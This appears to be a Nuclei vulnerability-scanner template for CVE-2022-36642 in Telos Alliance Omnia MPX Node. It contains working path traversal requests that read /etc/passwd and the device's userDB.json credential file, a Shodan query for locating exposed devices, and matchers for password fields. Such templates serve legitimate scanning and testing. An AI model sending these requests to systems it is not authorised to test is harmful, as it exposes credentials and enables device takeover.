id: CVE-2022-36642

info:
  name: Omnia MPX 1.5.0+r1 - Path Traversal
  author: arafatansari,ritikchaddha,For3stCo1d
  severity: critical
  description: |
    A local file disclosure vulnerability in /appConfig/userDB.json of Telos Alliance Omnia MPX Node through 1.5.0+r1 allows attackers to escalate privileges to root and execute arbitrary commands.
  reference:
    - https://www.exploit-db.com/exploits/50996
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36642
    - https://cyber-guy.gitbook.io/cyber-guy/pocs/omnia-node-mpx-auth-bypass-via-lfd
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36642
    cwe-id: CWE-862
  metadata:
    shodan-query: http.title:"Omnia MPX Node | Login"
    verified: "true"
  tags: traversal,omnia,edb,cve,cve2022,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd"
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: word
        part: body
        words:
          - '"username":'
          - '"password":'
          - '"mustChangePwd":'
          - '"roleUser":'
        condition: and